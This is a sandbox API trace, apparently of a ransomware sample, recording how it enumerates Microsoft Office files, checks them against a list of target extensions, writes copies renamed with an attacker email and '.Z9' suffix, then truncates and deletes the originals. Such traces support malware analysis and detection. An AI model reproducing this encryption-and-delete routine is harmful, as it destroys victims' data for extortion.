	[0075.306] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.306] lstrlenW (lpString=".jpg") returned 4
	[0075.306] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.306] lstrlenW (lpString=".doc") returned 4
	[0075.306] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString=".docx") returned 5
	[0075.306] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0075.306] lstrlenW (lpString=".pdf") returned 4
	[0075.306] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString=".xls") returned 4
	[0075.306] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString=".xlsx") returned 5
	[0075.306] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0075.306] lstrlenW (lpString=".ppt") returned 4
	[0075.306] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.306] lstrlenW (lpString=".zip") returned 4
	[0075.306] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0075.307] lstrlenW (lpString=".rar") returned 4
	[0075.307] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0075.307] lstrlenW (lpString=".bz2") returned 4
	[0075.307] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0075.307] lstrlenW (lpString=".7z") returned 3
	[0075.307] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.307] lstrlenW (lpString=".dbf") returned 4
	[0075.307] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.307] lstrlenW (lpString=".1cd") returned 4
	[0075.307] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.307] lstrlenW (lpString=".jpg") returned 4
	[0075.307] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0075.307] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.307] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53
	[0075.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0075.308] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=387356) returned 1
	[0075.309] CloseHandle (hObject=0x2bc) returned 1
	[0075.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0075.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0075.309] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.309] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.309] GetLastError () returned 0x0
	[0075.309] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x5e91c, lpOverlapped=0x0) returned 1
	[0075.319] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x5e920, lpOverlapped=0x0) returned 1
	[0075.326] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.326] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.326] SetEndOfFile (hFile=0x380) returned 1
	[0075.326] CloseHandle (hObject=0x380) returned 1
	[0075.337] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.337] SetEndOfFile (hFile=0x2bc) returned 1
	[0075.342] CloseHandle (hObject=0x2bc) returned 1
	[0075.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0075.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1
	[0075.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.342] lstrlenW (lpString=".doc") returned 4
	[0075.342] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString=".docx") returned 5
	[0075.343] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.343] lstrlenW (lpString=".pdf") returned 4
	[0075.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString=".xls") returned 4
	[0075.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString=".xlsx") returned 5
	[0075.343] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.343] lstrlenW (lpString=".ppt") returned 4
	[0075.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.343] lstrlenW (lpString=".zip") returned 4
	[0075.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.343] lstrlenW (lpString=".rar") returned 4
	[0075.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString=".bz2") returned 4
	[0075.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString=".7z") returned 3
	[0075.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.343] lstrlenW (lpString=".dbf") returned 4
	[0075.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.343] lstrlenW (lpString=".1cd") returned 4
	[0075.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.343] lstrlenW (lpString=".jpg") returned 4
	[0075.343] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.343] lstrlenW (lpString=".doc") returned 4
	[0075.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.344] lstrlenW (lpString=".docx") returned 5
	[0075.344] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.344] lstrlenW (lpString=".pdf") returned 4
	[0075.344] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.344] lstrlenW (lpString=".xls") returned 4
	[0075.344] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.344] lstrlenW (lpString=".xlsx") returned 5
	[0075.686] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.686] lstrlenW (lpString=".ppt") returned 4
	[0075.686] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.686] lstrlenW (lpString=".zip") returned 4
	[0075.686] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.686] lstrlenW (lpString=".rar") returned 4
	[0075.696] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.696] lstrlenW (lpString=".bz2") returned 4
	[0075.696] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.696] lstrlenW (lpString=".7z") returned 3
	[0075.696] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.696] lstrlenW (lpString=".dbf") returned 4
	[0075.696] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.696] lstrlenW (lpString=".1cd") returned 4
	[0075.696] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0075.696] lstrlenW (lpString=".jpg") returned 4
	[0075.696] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.697] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.697] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53
	[0075.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.788] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1261) returned 1
	[0075.788] CloseHandle (hObject=0x370) returned 1
	[0075.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0075.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.789] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.789] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0075.789] GetLastError () returned 0x0
	[0075.789] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0075.791] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0075.791] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.791] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.792] SetEndOfFile (hFile=0x2bc) returned 1
	[0075.792] CloseHandle (hObject=0x2bc) returned 1
	[0075.793] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.793] SetEndOfFile (hFile=0x370) returned 1
	[0075.793] CloseHandle (hObject=0x370) returned 1
	[0075.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0075.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1
	[0075.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.794] lstrlenW (lpString=".doc") returned 4
	[0075.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.794] lstrlenW (lpString=".docx") returned 5
	[0075.794] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.794] lstrlenW (lpString=".pdf") returned 4
	[0075.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.794] lstrlenW (lpString=".xls") returned 4
	[0075.794] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.794] lstrlenW (lpString=".xlsx") returned 5
	[0075.794] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.794] lstrlenW (lpString=".ppt") returned 4
	[0075.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.794] lstrlenW (lpString=".zip") returned 4
	[0075.794] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.794] lstrlenW (lpString=".rar") returned 4
	[0075.794] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.794] lstrlenW (lpString=".bz2") returned 4
	[0075.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString=".7z") returned 3
	[0075.795] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.795] lstrlenW (lpString=".dbf") returned 4
	[0075.795] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.795] lstrlenW (lpString=".1cd") returned 4
	[0075.795] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.795] lstrlenW (lpString=".jpg") returned 4
	[0075.795] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.795] lstrlenW (lpString=".doc") returned 4
	[0075.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString=".docx") returned 5
	[0075.795] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.795] lstrlenW (lpString=".pdf") returned 4
	[0075.795] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString=".xls") returned 4
	[0075.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString=".xlsx") returned 5
	[0075.795] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.795] lstrlenW (lpString=".ppt") returned 4
	[0075.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.795] lstrlenW (lpString=".zip") returned 4
	[0075.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.795] lstrlenW (lpString=".rar") returned 4
	[0075.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString=".bz2") returned 4
	[0075.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.795] lstrlenW (lpString=".7z") returned 3
	[0075.795] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.795] lstrlenW (lpString=".dbf") returned 4
	[0075.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.796] lstrlenW (lpString=".1cd") returned 4
	[0075.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0075.796] lstrlenW (lpString=".jpg") returned 4
	[0075.796] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.796] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.796] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53
	[0075.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.797] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=253712) returned 1
	[0075.797] CloseHandle (hObject=0x370) returned 1
	[0075.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0075.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0075.797] GetLastError () returned 0x0
	[0075.797] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x3df10, lpOverlapped=0x0) returned 1
	[0075.804] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3df20, lpOverlapped=0x0) returned 1
	[0075.809] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.809] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.809] SetEndOfFile (hFile=0x2bc) returned 1
	[0075.809] CloseHandle (hObject=0x2bc) returned 1
	[0075.816] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.816] SetEndOfFile (hFile=0x370) returned 1
	[0075.818] CloseHandle (hObject=0x370) returned 1
	[0075.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0075.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString=".doc") returned 4
	[0075.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString=".docx") returned 5
	[0075.819] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.819] lstrlenW (lpString=".pdf") returned 4
	[0075.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
